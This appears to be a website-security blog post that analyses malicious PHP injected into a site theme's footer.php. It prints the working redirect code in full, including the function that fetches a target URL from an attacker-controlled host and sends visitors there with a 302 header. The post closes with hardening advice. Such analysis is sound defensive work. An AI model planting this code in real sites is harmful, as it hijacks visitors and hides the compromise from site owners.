In a recent article we discussed some of the reasons sites are frequently attacked. That article covered browser redirects, and we’ll explore an example of such a case here.

Website themes are a common attack vector for many reasons. The theme is guaranteed to load on every page, that is the core design of any site, and themes can easily be customized in the site’s admin panel. However, sometimes an attacker will inject code directly into the theme’s files since those are not readily visible by a website administrator and any changes may go unnoticed unless the admin is specifically looking through the site’s directory structure and manually inspecting code.

Let’s take a look.

This block of code was injected directly into a theme’s footer.php file just above the file’s normal functionality. The footer.php is responsible for displaying closing content at the bottom of a site’s pages and often includes functions to retrieve content from the database like company contact information, copyright banners or company logos. This also gives the attackers a location to inject hidden malware or redirects.

Normally I would start at the beginning of the code but in this case, the code begins to execute after the initial block is defined, which is the bulk of the functionality.. Skipping down we see the script calls the r2048() function with a very specific URL.

Breaking down the malware

$tgurl = @r2048("http://youtubesave.org/rl/g.php");

After calling the r2048 function, the script confirms that a value was returned,  clears any current output buffering to prevent any corruption in the header data and sends the returned URL to the browser’s headers, initiating the redirect.

if($tgurl){
    while (@ob_get_level()) {
        @ob_end_clean();
    }
    header("Location: " . $tgurl, true, 302);
    exit;
}

Let’s take a look at the r2048  function, where the real work is performed.

function r2048($u){
    $t = "";
    $to = 20;
    if( @function_exists('curl_version') || in_array('curl', get_loaded_extensions()) ){
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $u);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 0); 
        curl_setopt($ch, CURLOPT_TIMEOUT, $to);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        $t = curl_exec($ch);
        curl_close($ch);
    } else {
        $x = stream_context_create(array("http" => array('timeout' => $to), "https" => array('timeout' => $to)));
        $t = file_get_contents($u, false, $x);
    }
    return $t;
}

Simply put, this function checks the server for the existence of curl support and, if that isn’t present, reverts to the file_get_contents internal PHP function.

After calling one of the options, curl or file_get_contents, using the URL passed earlier from the $tgurl variable, the function populates the $t variable with the output of the remote URL and returns that to the original function where the header(“Location: “ function triggers the redirect.

Examining the remote content

Since we have a hard-coded URL, we can inspect that to see what’s going on. Plugging that into a browser, we see the URL the victim site will be redirected to.

This is pretty straightforward, by returning the target URL from a remote server the attackers could control where the victim will be redirected based on factors like the browser or mobile device in use. Unfortunately we are not able to see the code on that remote server, but there doesn’t seem to be anything more going on since the URL displayed there is sent to the headers of the victim’s browser.

Wrapping Up

Website administrators should regularly audit the themes and plugins in use on the site and monitor for changes to those files. As seen here, the attackers can inject malicious code directly into those files where that would be hidden from the website dashboard. In this case, the site was redirecting making the attack obvious but the attackers could have injected any code like spam or even credit card or credentials stealers, as we’ve seen in previous cases.

Normally I would advise to add a second layer of protection to the admin panel, like 2FA or protected pages, but in this case the attackers could have easily modified the theme files via FTP or SSH. Services like FTP and SSH are often abused by attackers because admins forget to lock them down. Changing the default ports (21 or 22) to something else, and implementing IP restrictions on those services will prevent unwanted access.

If you believe your site may have been hacked, we’re always here to take a look.